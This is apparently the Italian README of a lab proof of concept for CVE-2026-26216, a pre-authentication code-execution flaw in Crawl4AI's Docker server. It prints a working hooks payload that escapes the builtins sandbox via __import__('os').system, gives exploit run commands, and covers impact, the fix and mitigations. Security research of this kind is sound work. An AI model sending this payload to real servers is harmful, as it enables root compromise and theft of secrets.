CVE-2026-26216 — Crawl4AI RCE non autenticata tramite hooks (GHSA-5882-5rx9-xgxp)

CVSS 10.0 · RCE pre-autenticazione · CWE-94 (Code Injection) Esecuzione remota di codice non autenticata sul server Docker di Crawl4AI (< 0.8.0), abusando del parametro hooks dell'endpoint POST /crawl. Un singolo JSON nel POST esegue Python come root all'interno del container.

Questa è una PoC di laboratorio, auto-contenuta e riproducibile, per ricerca di sicurezza e fini educativi.

La vulnerabilità in una frase

L'endpoint POST /crawl accetta codice Python arbitrario nel campo hooks.code.<evento>. Questo codice viene eseguito con exec() all'interno di un "sandbox fatto in casa" — un dizionario di builtins ristretto. Solo che __import__ è stato lasciato nella allowlist, il che permette __import__('os').system(...) e sconfigge l'intero sandbox.

POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

Poiché il deploy ufficiale gira con JWT disattivato per impostazione predefinita e il container gira come root, il risultato è RCE root, pre-autenticazione.

Perché è la lezione perfetta sul "sandbox fatto in casa in uno strumento di IA"

Il sandbox sembra funzionare: open, eval, exec sono stati rimossi, quindi un attacco ingenuo (open('/etc/passwd')) viene bloccato. Questo crea una falsa sensazione di sicurezza. Ma basta un builtin pericoloso dimenticato (__import__) per importare l'intera stdlib (os, subprocess, socket) e la allowlist diventa decorazione. Una allowlist di builtins non è un sandbox.

Struttura del progetto

CVE-2026-26216/
├── README.md
├── docker-compose.yml         # sobe o servidor vulnerável
├── vulnerable-app/
│   ├── Dockerfile             # imagem que roda como root (igual à oficial)
│   ├── requirements.txt
│   ├── server.py              # FastAPI: POST /crawl sem auth
│   └── hook_manager.py        # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
    └── exploit.py             # exploit Python (só stdlib)

Nota di fedeltà. vulnerable-app/ è una riproduzione snella del percorso di codice vulnerabile di Crawl4AI (non apre Chromium/Playwright), in modo che la PoC sia leggera e 100% riproducibile. Il comportamento del sandbox e la struttura del payload rispecchiano l'advisory ufficiale GHSA-5882-5rx9-xgxp. La riga vulnerabile è contrassegnata in vulnerable-app/hook_manager.py.

Come eseguire

# 1. sobe o alvo
docker compose up -d --build

# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo

# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

# 4. derruba
docker compose down -v

Cosa dimostra l'exploit

Da lì: pivot verso la rete interna, furto di credenziali cloud, persistenza, ecc.

Impatto

• Riservatezza: furto di OPENAI_API_KEY, token interni, secrets del container.
• Integrità: scrittura/modifica di file, backdoor.
• Disponibilità: kill di processi, wipe di dati.
• Laterale: il container di solito ha accesso alla rete interna → pivot.

Tutto questo senza autenticazione.

Correzione

Corretto in Crawl4AI 0.8.0:

• __import__ (e eval/exec/open) rimossi dai builtins consentiti.
• Hook disattivati per impostazione predefinita — opt-in esplicito tramite CRAWL4AI_HOOKS_ENABLED=true.

Mitigazioni generali:

• Aggiorna a crawl4ai >= 0.8.0.
• Non esporre mai il server Crawl4AI direttamente su Internet; abilita JWT.
• Non eseguire il container come root; usa utente non privilegiato e file system in sola lettura.
• Tratta la "allowlist di builtins" per quello che è: non è un sandbox. Per eseguire codice non fidato, usa isolamento reale (gVisor, microVM, processo separato senza rete/FS, seccomp).

Riferimenti

• GitHub Advisory — GHSA-5882-5rx9-xgxp
• GitHub Advisory Database
• Corgea — CVE-2026-26216
• GitLab Advisory Database
• miggo.io — GHSA-5882-5rx9-xgxp

Avviso legale

Materiale per ricerca di sicurezza autorizzata e istruzione. Utilizzare solo su sistemi di cui si è proprietari o per i quali si ha esplicita autorizzazione scritta per testare.